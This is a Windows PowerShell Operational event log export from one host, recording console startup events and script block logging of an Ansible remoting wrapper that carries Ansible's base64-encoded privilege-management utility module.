ewogICAgICAgICAgICAgICAgaWYgKG5ld1N0YXRlUHRyICE9IEludFB0ci5aZXJvKQogICAgICAgICAgICAgICAgICAgIE1hcnNoYWwuRnJlZUhHbG9iYWwobmV3U3RhdGVQdHIpOwogICAgICAgICAgICB9CgogICAgICAgICAgICByZXR1cm4gb2xkU3RhdGVQcml2aWxlZ2VzLlRvRGljdGlvbmFyeShwID0+IEdldFByaXZpbGVnZU5hbWUocC5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5Nb2R1bGVVdGlscy5Qcml2aWxlZ2VVdGlsCgpGdW5jdGlvbiBMb2FkLUxpbmtVdGlscygpIHsKICAgICRsaW5
ScriptBlock ID: f4b99521-e5ec-4ed0-a1cd-d4a29006ed6e
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2279 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 2872 | 2948 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:12 AM | 61e00a24-ee3b-0005-2608-e7613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (2 of 9):
0dXJuIEFkanVzdFRva2VuUHJpdmlsZWdlcyh0b2tlbiwgbnVsbCk7CiAgICAgICAgfQoKICAgICAgICBwdWJsaWMgc3RhdGljIERpY3Rpb25hcnk8c3RyaW5nLCBib29sPz4gRW5hYmxlUHJpdmlsZWdlKFNhZmVIYW5kbGUgdG9rZW4sIHN0cmluZyBwcml2aWxlZ2UpCiAgICAgICAgewogICAgICAgICAgICByZXR1cm4gU2V0VG9rZW5Qcml2aWxlZ2VzKHRva2VuLCBuZXcgRGljdGlvbmFyeTxzdHJpbmcsIGJvb2w/PigpIHsgeyBwcml2aWxlZ2UsIHRydWUgfSB9KTsKICAgICAgICB9CgogICAgICAgIHB1YmxpYyBzdGF0aWMgRGljdGlvbmFyeTxTdHJpbmcsIFByaXZpbGVnZUF0dHJpYnV0ZXM+IEdldEFsbFByaXZpbGVnZUluZm8oU2FmZUhhbmRsZSB0b2tlbikKICAgICAgICB7CiAgICAgICAgICAgIEludFB0ciBoVG9rZW4gPSBJbnRQdHIuWmVybzsKICAgICAgICAgICAgaWYgKC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mYWlsZWQiKTsKCiAgICAgICAgICAgICAgICAgICAgTmF0aXZlSGVscGVycy5UT0tFTl9QUklWSUxFR0VTIHByaXZpbGVnZUluZm8gPSAoTmF0aXZlSGVscGVycy5UT0tFTl9QUklWSUxFR0VTKU1hcnNoYWwuUHRyVG9TdHJ1Y3R1cmUocHJpdmlsZWdlc1B0ciwgdHlwZW9mKE5hdGl2ZUhlbHBlcnMuVE9LRU5fUFJJVklMRUdFUykpOwogICAgICAgICAgICAgICAgICAgIHByaXZpbGVnZXMgPSBuZXcgTmF0aXZlSGVscGVycy5MVUlEX0FORF9BVFRSSUJVVEVTW3ByaXZpbGVnZUluZm8uUHJpdmlsZWdlQ291bnRdOwogICAgICAgICAgICAgICAgICAgIFB0clRvU3RydWN0dXJlQXJyYXkocHJpdmlsZWdlcywgSW50UHRyLkFkZChwcml2aWxlZ2VzUHRyLCBNYXJzaGFsLlNpemVPZihwcml2aWxlZ2VJbmZvLlByaXZpbGVnZUNvdW50KSkpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZmluYWxseQogICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgIE1hcnNoYWwuRnJlZUhHbG9iYWwocHJpdmlsZWdlc1B0cik7CiAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAgICAgaW5mbyA9IHByaXZpbGVnZXMuVG9EaWN0aW9uYXJ5KHAgPT4gR2V0UHJpdmlsZWdlTmFtZShwLkx1aWQpLCBwID0+IHAuQXR0cmlidXRlcyk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZmluYWxseQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBOYXRpdmVNZXRob2RzLkNsb3NlSGFuZGxlKGhUb2tlbik7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIGluZm87CiAgICAgICAgfQoKICAgICAgICBwdWJsaWMgc3RhdGljIFNhZmVXYWl0SGFuZGxlIEdldEN1cnJlbnRQcm9jZXNzKCkKICAgICAgICB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kpOwoKICAgICAgICAgICAgICAgIFByaXZpbGVnZUF0dHJpYnV0ZXMgYXR0cmlidXRlczsKICAgICAgICAgICAgICAgIHN3aXRjaCAoZW50cnkuVmFsdWUpCiAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgY2FzZSB0cnVlOgogICAgICAgICAgICAgICAgICAgICAgICBhdHRyaWJ1dGVzID0gUHJpdmlsZWdlQXR0cmlidXRlcy5FbmFibGVkOwogICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgICAgICBjYXNlIGZhbHNlOgogICAgICAgICAgICAgICAgICAgICAgICBhdHRyaWJ1dGVzID0gUHJpdmlsZWdlQXR0cmlidXRlcy5EaXNhYmxlZDsKICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgZGVmYXVsdDoKICAgICAgICAgICAgICAgICAgICAgICAgYXR0cmlidXRlcyA9IFByaXZpbGVnZUF0dHJpYnV0ZXMuUmVtb3ZlZDsKICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAgICAgcHJpdmlsZWdlQXR0cltpXS5MdWlkID0gbHVpZDsKICAgICAgICAgICAgICAgIHByaXZpbGVnZUF0dHJbaV0uQXR0cmlidXRlcyA9IGF0dHJpYnV0ZXM7CiAgICAgICAgICAgICAgICBpKys7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIHJldHVybiBBZGp1c3RUb2tlblByaXZpbGVnZXModG9rZW4sIHByaXZpbGVnZUF0dHIpOwogICAgICAgIH0KCiAgICAgICAgcHJpdmF0ZSBzdGF0aWMgRGljdGlvbmFyeTxzdHJpbmcsIGJvb2w/PiBBZGp1c3RUb2tlblByaXZpbGVnZXMoU2FmZUhhbmRsZSB0b2tlbiwgTmF0aXZlSGVscGVycy5MVUlEX0FORF9BVFRSSUJVVEVTW10gbmV3U3RhdGUpCiAgICAgICAgewogICAgICAgICA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HJ5CiAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgSW50UHRyIG9sZFN0YXRlUHRyID0gTWFyc2hhbC5BbGxvY0hHbG9iYWwoMCk7CiAgICAgICAgICAgICAgICAgICAgaWYgKCFOYXRpdmVNZXRob2RzLkFkanVzdFRva2VuUHJpdmlsZWdlcyhoVG9rZW4sIGRpc2FibGVBbGxQcml2aWxlZ2VzLCBuZXdTdGF0ZVB0ciwgMCwgb2xkU3RhdGVQdHIsIG91dCByZXR1cm5MZW5ndGgpKQogICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgaW50IGVyckNvZGUgPSBNYXJzaGFsLkdldExhc3RXaW4zMkVycm9yKCk7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChlcnJDb2RlICE9IDEyMikgLy8gRVJST1JfSU5TVUZGSUNJRU5UX0JVRkZFUgogICAgICAgICAgICAgICAgICAgICAgICAgICAgdGhyb3cgbmV3IFdpbjMyRXhjZXB0aW9uKGVyckNvZGUsICJBZGp1c3RUb2tlblByaXZpbGVnZXMoKSBmYWlsZWQgdG8gZ2V0IG9sZCBzdGF0ZSBzaXplIik7CiAgICAgICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgICAgICAvLyByZXNpemUgdGhlIG9sZFN0YXRlUHRyIGJhc2VkIG9uIHRoZSBsZW5ndGggcmV0dXJuZWQgZnJvbSBXaW5kb3dzCiAgICAgICAgICAgICAgICAgICAgTWFyc2hhbC5GcmVlSEdsb2JhbChvbGRTdGF0ZVB0cik7CiAgICAgICAgICAgICAgICAgICAgb2xkU3RhdGVQdHIgPSBNYXJzaGFsLkFsbG9jSEdsb2JhbCgoaW50KXJldHVybkxlbmd0aCk7CiAgICAgICAgICAgICAgICAgICAgdHJ5CiAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICBib29sIHJlcyA9IE5hdGl2ZU1ldGhvZHMuQWRqdXN0VG9rZW5Qcml2aWxlZ2VzKGhUb2tlbiwgZGlzYWJsZUFsbFByaXZpbGVnZXMsIG5ld1N0YXRlUHRyLCByZXR1cm5MZW5ndGgsIG9sZFN0YXRlUHRyLCBvdXQgcmV0dXJuTGVuZ3RoKTsKICAgICAgICAgICAgICAgICAgICAgICAgaW50IGVyckNvZGUgPSBNYXJzaGFsLkdldExhc3RXaW4zMkVycm9yKCk7CgogICAgICAgICAgICAgICAgICAgICAgICAvLyBldmVuIHdoZW4gcmVzID09IHRydWUsIEVSUk9SX05PVF9BTExfQVNTSUdORUQgbWF5IGJlIHNldCBhcyB0aGUgbGFzdCBlcnJvciBjb2RlCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICghcmVzIHx8IGVyckNvZGUgIT0gMCkKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRocm93IG5ldyBXaW4zMkV4Y2VwdGlvbihlcnJDb2RlLCAiQWRqdXN0VG9rZW5Qcml2aWxlZ2VzKCkgZmFpbGVkIik7CgogICAgICAgICAgICAgICAgICAgICAgICAvLyBNYXJzaGFsIHRoZSBvbGRTdGF0ZVB0ciB0byB0aGUgc3RydWN0CiAgICAgICAgICAgICAgICAgICAgICAgIE5hdGl2ZUhlbHBlcnMuVE9LRU5fUFJJVklMRUdFUyBvbGRTdGF0ZSA9IChOYXRpdmVIZWxwZXJzLlRPS0VOX1BSSVZJTEVHRVMpTWFyc2hhbC5QdHJUb1N0cnVjdHVyZShvbGRTdGF0ZVB0ciwgdHlwZW9mKE5hdGl2ZUhlbHBlcnMuVE9LRU5fUFJJVklMRUdFUykpOwogICAgICAgICAgICAgICAgICAgICAgICBvbGRTdGF0ZVByaXZpbGVnZXMgPSBuZXcgTmF0aXZlSGVscGVycy5MVUlEX0FORF9BVFRSSUJVVEVTW29sZFN0YXRlLlByaXZpbGVnZUNvdW50XTsKICAgICAgICAgICAgICAgICAgICAgI
ScriptBlock ID: f4b99521-e5ec-4ed0-a1cd-d4a29006ed6e
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2278 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 2872 | 2948 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:12 AM | 61e00a24-ee3b-0005-2608-e7613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 9):
begin {
$DebugPreference = "Continue"
$ErrorActionPreference = "Stop"
Set-StrictMode -Version 2
function ConvertTo-HashtableFromPsCustomObject ($myPsObject){
$output = @{};
$myPsObject | Get-Member -MemberType *Property | % {
$val = $myPsObject.($_.name);
If ($val -is [psobject]) {
$val = ConvertTo-HashtableFromPsCustomObject $val
}
$output.($_.name) = $val
}
return $output;
}
# stream JSON including become_pw, ps_module_payload, bin_module_payload, become_payload, write_payload_path, preserve directives
# exec runspace, capture output, cleanup, return module output
# NB: do not adjust the following line- it is replaced when doing non-streamed module output
$json_raw = @'
{"min_ps_version": null, "exec": "CkZ1bmN0aW9uIFJ1bigkcGF5bG9hZCkgewogICAgJGVudHJ5cG9pbnQgPSAkcGF5bG9hZC5tb2R1bGVfZW50cnkKCiAgICAkZW50cnlwb2ludCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJGVudHJ5cG9pbnQpKQoKICAgICRwcyA9IFtwb3dlcnNoZWxsXTo6Q3JlYXRlKCkKCiAgICAkcHMuQWRkU3RhdGVtZW50KCkuQWRkQ29tbWFuZCgiU2V0LVZhcmlhYmxlIikuQWRkUGFyYW1ldGVycyhAe1Njb3BlPSJnbG9iYWwiO05hbWU9ImNvbXBs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uQWRkU2NyaXB0KCRlbnRyeXBvaW50KSB8IE91dC1OdWxsCgogICAgJG91dHB1dCA9ICRwcy5JbnZva2UoKQoKICAgICRvdXRwdXQKCiAgICAjIFBTMyBkb2Vzbid0IHByb3Blcmx5IHNldCBIYWRFcnJvcnMgaW4gbWFueSBjYXNlcywgaW5zcGVjdCB0aGUgZXJyb3Igc3RyZWFtIGFzIGEgZmFsbGJhY2sKICAgIElmICgkcHMuSGFkRXJyb3JzIC1vciAoJFBTVmVyc2lvblRhYmxlLlBTVmVyc2lvbi5NYWpvciAtbHQgNCAtYW5kICRwcy5TdHJlYW1zLkVycm9yLkNvdW50IC1ndCAwKSkgewogICAgICAgICRob3N0LlVJLldyaXRlRXJyb3JMaW5lKCQoJHBzLlN0cmVhbXMuRXJyb3IgfCBPdXQtU3RyaW5nKSkKICAgICAgICAkZXhpdF9jb2RlID0gJHBzLlJ1bnNwYWNlLlNlc3Npb25TdGF0ZVByb3h5LkdldFZhcmlhYmxlKCJMQVNURVhJVENPREUiKQogICAgICAgIElmKC1ub3QgJGV4aXRfY29kZSkgewogICAgICAgICAgICAkZXhpdF9jb2RlID0gMQogICAgICAgIH0KICAgICAgICAjIG5lZWQgdG8gdXNlIHRoaXMgaW5zdGVhZCBvZiBFeGl0IGtleXdvcmQgdG8gcHJldmVudCBydW5zcGFjZSBmcm9tIGNyYXNoaW5nIHdpdGggZHluYW1pYyBtb2R1bGVzCiAgICAgICAgJGhvc3QuU2V0U2hvdWxkRXhpdCgkZXhpdF9jb2RlKQogICAgfQp9Cg==", "actions": ["exec"], "environment": {}, "min_os_version": null, "powershell_modules": {"Ansible.ModuleUtils.PrivilegeUtil": "IyBDb3B5cmlnaHQgKGMpIDIwMTggQW5zaWJsZSBQcm9qZWN0CiMgU2ltcGxpZmllZCBCU0QgTGljZW5zZSAoc2VlIGxpY2Vuc2VzL3NpbXBsaWZpZWRfYnNkLnR4dCBvciBodHRwczovL29wZW5zb3VyY2Uub3JnL2xpY2Vuc2VzL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MiBMb3dQYXJ0OwogICAgICAgICAgICBwdWJsaWMgSW50MzIgSGlnaFBhcnQ7CiAgICAgICAgfQoKICAgICAgICBbU3RydWN0TGF5b3V0KExheW91dEtpbmQuU2VxdWVudGlhbCldCiAgICAgICAgaW50ZXJuYWwgc3RydWN0IExVSURfQU5EX0FUVFJJQlVURVMKICAgICAgICB7CiAgICAgICAgICAgIHB1YmxpYyBMVUlEIEx1aWQ7CiAgICAgICAgICAgIHB1YmxpYyBQcml2aWxlZ2VBdHRyaWJ1dGVzIEF0dHJpYnV0ZXM7CiAgICAgICAgfQoKICAgICAgICBbU3RydWN0TGF5b3V0KExheW91dEtpbmQuU2VxdWVudGlhbCldCiAgICAgICAgaW50ZXJuYWwgc3RydWN0IFRPS0VOX1BSSVZJTEVHRVMKICAgICAgICB7CiAgICAgICAgICAgIHB1YmxpYyBVSW50MzIgUHJpdmlsZWdlQ291bnQ7CiAgICAgICAgICAgIFtNYXJzaGFsQXMoVW5tYW5hZ2VkVHlwZS5CeVZhbEFycmF5LCBTaXplQ29uc3QgPSAxKV0KICAgICAgICAgICAgcHVibGljIExVSURfQU5EX0FUVFJJQlVURVNbXSBQcml2aWxlZ2VzOwogICAgICAgIH0KICAgIH0KCiAgICBpbnRlcm5hbCBjbGFzcyBOYXRpdmVNZXRob2RzCiAgICB7CiAgICAgICAgW0RsbEltcG9ydCgiYWR2YXBpMzIuZGxsIiwgU2V0TGFzdEVycm9yID0gdHJ1ZSldCiAgICAgICAgaW50ZXJuYWwgc3RhdGljIGV4dGVybiBib29sIEFkanVzdFRva2VuUHJpdmlsZWdlcygKICAgICAgICAgICAgSW50UHRyIFRva2VuSGFuZGxlLAogICAgICAgICAgICBbTWFyc2hhbEFzKFVubWFuYWdlZFR5cGUuQm9vbCldIGJvb2wgRGlzYWJsZUFsbFByaXZpbGVnZXMsCiAgICAgICAgICAgIEludFB0ciBOZXdTdGF0ZSwKICAgICAgICAgICAgVUludDMyIEJ1ZmZlckxlbmd0aCwKICAgICAgICAgICAgSW50UHRyIFByZXZpb3VzU3RhdGUsCiAgICAgICAgICAgIG91dCBVSW50MzIgUmV0dXJuTGVuZ3RoKTsKCiAgICAgICAgW0RsbEltcG9ydCgia2VybmVsMzIuZGxsIildCiAgICAgICAgaW50ZXJuYWwgc3RhdGljIGV4dGVybiBib29sIENsb3NlSGFuZGxlKAogICAgICAgICAgICBJbnRQdHIgaE9iamVjdCk7CgogICAgICAgIFtEbGxJbXBvcnQoImtlcm5lbDMyIildCiAgICAgICAgaW50ZXJuYWwgc3RhdGljIGV4dGVybiBTYWZlV2FpdEhhbmRsZSBHZXRDdXJyZW50UHJvY2VzcygpOwoKICAgICAgICBbRGxsSW1wb3J0KCJhZHZhcGkzMi5kbGwiLCBTZXRMYXN0RXJyb3IgPSB0cnVlKV0KICAgICAgICBpbnRlcm5hbCBzdGF0aWMgZXh0ZXJuIGJvb2wgR2V0VG9rZW5JbmZvcm1hdGlvbigKICAgICAgICAgICAgSW50UHRyIFRva2VuSGFuZGxlLAogICAgICAgICAgICBVSW50MzIgVG9rZW5JbmZvcm1hdGlvbkNsYXNzLAogICAgICAgICAgICBJbnRQdHIgVG9rZW5JbmZvcm1hdGlvbiwKICAgICAgICAgICAgVUludDMyIFRva2VuSW5mb3JtYXRpb25MZW5ndGgsCiAgICAgICAgICAgIG91dCBVSW50MzIgUmV0dXJuTGVuZ3RoKTsKCiAgICAgICAgW0RsbEltcG9ydCgiYWR2YXBpMzIuZGxsIiwgU2V0TGFzdEVycm9yID0gdHJ1ZSwgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldCiAgICAgICAgaW50ZXJuYWwgc3RhdGljIGV4dGVybiBib29sIExvb2t1cFByaXZpbGVnZU5hbWUoCiAgICAgICAgICAgIHN0cmluZyBscFN5c3RlbU5hbWUsCiAgICAgICAgICAgIHJlZiBOYXRpdmVIZWxwZXJzLkxVSUQgbHBMdWlkLAogICAgICAgICAgICBTdHJpbmdCdWlsZGVyIGxwTmFtZSwKICAgICA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ZWxzZQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgcHVibGljIHN0YXRpYyBEaWN0aW9uYXJ5PHN0cmluZywgYm9vbD8+IERpc2FibGVQcml2aWxlZ2UoU2FmZUhhbmRsZSB0b2tlbiwgc3RyaW5nIHByaXZpbGVnZSkKICAgICAgICB7CiAgICAgICAgICAgIHJldHVybiBTZXRUb2tlblByaXZpbGVnZXModG9rZW4sIG5ldyBEaWN0aW9uYXJ5PHN0cmluZywgYm9vbD8+KCkgeyB7IHByaXZpbGVnZSwgZmFsc2UgfSB9KTsKICAgICAgICB9CgogICAgICAgIHB1YmxpYyBzdGF0aWMgRGljdGlvbmFyeTxzdHJpbmcsIGJvb2w/PiBEaXNhYmxlQWxsUHJpdmlsZWdlcyhTYWZlSGFuZGxlIHRva2VuKQogICAgICAgIHsKICAgICAgICAgICAgcmV
ScriptBlock ID: f4b99521-e5ec-4ed0-a1cd-d4a29006ed6e
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2277 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 2872 | 2948 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:12 AM | 61e00a24-ee3b-0005-2608-e7613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is ready for user input | 40962 | 1 | | 4 | 4 | 2 | 0 | 2276 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 2872 | 5048 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:12 AM | 61e00a24-ee3b-0003-00e4-ed613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Stop | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Windows PowerShell has started an IPC listening thread on process: 2872 in AppDomain: DefaultAppDomain. | 53504 | 1 | | 4 | 111 | 10 | 0 | 2275 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 2872 | 3400 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:12 AM | 61e00a24-ee3b-0003-00e4-ed613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Open (async) | PowerShell Named Pipe IPC | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is starting up | 40961 | 1 | | 4 | 4 | 1 | 0 | 2274 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 2872 | 5048 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:12 AM | 61e00a24-ee3b-0003-00e4-ed613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Start | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is ready for user input | 40962 | 1 | | 4 | 4 | 2 | 0 | 2273 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4100 | 3148 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:12 AM | 61e00a24-ee3b-0004-c653-ef613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Stop | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Windows PowerShell has started an IPC listening thread on process: 4100 in AppDomain: DefaultAppDomain. | 53504 | 1 | | 4 | 111 | 10 | 0 | 2272 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4100 | 848 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:12 AM | 61e00a24-ee3b-0004-c653-ef613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Open (async) | PowerShell Named Pipe IPC | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is starting up | 40961 | 1 | | 4 | 4 | 1 | 0 | 2271 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4100 | 3148 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:12 AM | 61e00a24-ee3b-0004-c653-ef613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Start | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is ready for user input | 40962 | 1 | | 4 | 4 | 2 | 0 | 2270 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 380 | 4020 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:12 AM | 61e00a24-ee3b-0003-f3e3-ed613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Stop | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Windows PowerShell has started an IPC listening thread on process: 380 in AppDomain: DefaultAppDomain. | 53504 | 1 | | 4 | 111 | 10 | 0 | 2269 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 380 | 3808 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:12 AM | 61e00a24-ee3b-0003-f3e3-ed613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Open (async) | PowerShell Named Pipe IPC | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is starting up | 40961 | 1 | | 4 | 4 | 1 | 0 | 2268 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 380 | 4020 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:12 AM | 61e00a24-ee3b-0003-f3e3-ed613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Start | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is ready for user input | 40962 | 1 | | 4 | 4 | 2 | 0 | 2267 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 2188 | 2496 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:11 AM | 61e00a24-ee3b-0003-f2e3-ed613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Stop | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Windows PowerShell has started an IPC listening thread on process: 2188 in AppDomain: DefaultAppDomain. | 53504 | 1 | | 4 | 111 | 10 | 0 | 2266 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 2188 | 2532 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:11 AM | 61e00a24-ee3b-0003-f2e3-ed613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Open (async) | PowerShell Named Pipe IPC | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is starting up | 40961 | 1 | | 4 | 4 | 1 | 0 | 2265 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 2188 | 2496 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:11 AM | 61e00a24-ee3b-0003-f2e3-ed613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Start | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is ready for user input | 40962 | 1 | | 4 | 4 | 2 | 0 | 2264 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3176 | 1012 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:11 AM | 61e00a24-ee3b-0003-f1e3-ed613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Stop | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
